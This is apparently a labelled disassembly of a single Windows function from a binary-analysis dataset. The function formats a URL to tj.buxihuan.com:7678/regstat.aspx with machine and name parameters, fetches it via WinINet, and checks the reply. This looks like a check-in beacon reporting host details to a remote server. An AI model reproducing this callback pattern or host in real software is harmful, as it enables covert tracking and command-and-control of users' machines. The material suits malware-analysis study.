Function at 0x404649
Capabilities:
Create http request
Print debug messages
Read data from internet
Receive data

Disassembly:
mov eax, 0x417868
call fcn.00407c70
mov eax, 0x12c0
call fcn.00407db0
push ebx
push esi
lea eax, [ebp - 0x14]
push edi
push eax
call fcn.004042f6
mov dword [esp], 0x4205f4
push dword [ebp - 0x14]
xor ebx, ebx
mov dword [ebp - 4], ebx
call fcn.004085a8
pop ecx
test eax, eax
pop ecx
jne 0x40468a
xor esi, esi
jmp 0x4048c4
push 1
lea ecx, [ebp - 0x14]
call fcn.0041071c
push eax
lea eax, [ebp - 0x18]
push eax
call fcn.0040454c
pop ecx
pop ecx
push eax
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 1
call fcn.00410522
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], bl
call fcn.00410479
push dword [0x420198]
mov esi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call esi
mov eax, dword [0x41e944]
mov dword [ebp - 0x20], eax
push ebx
lea eax, [ebp - 0x20]
push dword [ebp - 0x14]
mov byte [ebp - 4], 2
push dword [0x420198]
push str.http:__tj.buxihuan.com:7678_regstat.aspx_name_smachine_sid3act_d
push eax
call fcn.0040fb21
add esp, 0x14
push dword [ebp - 0x14]
call esi
mov ecx, 0x3ff
xor eax, eax
lea edi, [ebp - 0x12cb]
mov byte [ebp - 0x12cc], bl
rep stosd dword es:[edi], eax
push ebx
push ebx
stosw word es:[edi], ax
push ebx
push ebx
push str.HttpDownload
stosb byte es:[edi], al
call dword [sym.imp.WININET.dll_InternetOpenA]
cmp eax, ebx
mov dword [ebp - 0x18], eax
jne 0x404727
xor esi, esi
jmp 0x4048b9
mov edi, dword [ebp - 0x20]
push ebx
lea eax, [ebp - 0x12cc]
push 2
push eax
call fcn.00407d30
pop ecx
push eax
lea eax, [ebp - 0x12cc]
push eax
push edi
push dword [ebp - 0x18]
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
cmp eax, ebx
mov dword [ebp - 0x1c], eax
je 0x404720
push 7
xor eax, eax
pop ecx
lea edi, [ebp - 0x47]
mov byte [ebp - 0x48], bl
push ebx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x24]
mov dword [ebp - 0x24], 0x20
push eax
lea eax, [ebp - 0x48]
push eax
push 0x13
push dword [ebp - 0x1c]
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
lea eax, [ebp - 0x48]
push eax
jne 0x4047c2
lea eax, [ebp - 0xcc]
push str.XX:STATUS_CODE_:__s_n
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0xcc]
push eax
call esi
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], bl
call fcn.00410479
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x14]
call fcn.00410479
xor eax, eax
jmp 0x4048d2
call fcn.00407d1a
pop ecx
push 0x64
cdq
pop ecx
idiv ecx
mov ecx, dword [0x41e944]
mov dword [ebp - 0x10], ecx
cmp eax, 2
mov byte [ebp - 4], 3
je 0x404801
lea eax, [ebp - 0x48]
push eax
push 0x41e0dc
lea eax, [ebp - 0x10]
push eax
call fcn.0040fb21
add esp, 0xc
push dword [ebp - 0x10]
call esi
xor esi, esi
jmp 0x4048ad
push 7
xor eax, eax
pop ecx
lea edi, [ebp - 0x67]
mov byte [ebp - 0x68], bl
push ebx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x24]
mov dword [ebp - 0x24], 0x20
push eax
lea eax, [ebp - 0x68]
push eax
push 0x14
push dword [ebp - 0x1c]
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
jne 0x40483e
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x41e0c0
jmp 0x4047e9
mov edi, 0x200
lea eax, [ebp - 0x2cc]
push edi
push ebx
push eax
call fcn.00407de0
add esp, 0xc
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x2cc]
push edi
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x40487e
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x41e2f0
jmp 0x4047e9
push dword [ebp - 0x1c]
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call edi
push dword [ebp - 0x18]
call edi
cmp byte [ebp - 0x2cc], 0x30
je 0x4048aa
cmp byte [ebp - 0x2cc], 0x31
je 0x4048aa
push str.return
jmp 0x4047f8
push 1
pop esi
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 2
call fcn.00410479
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], bl
call fcn.00410479
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x14]
call fcn.00410479
mov eax, esi
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret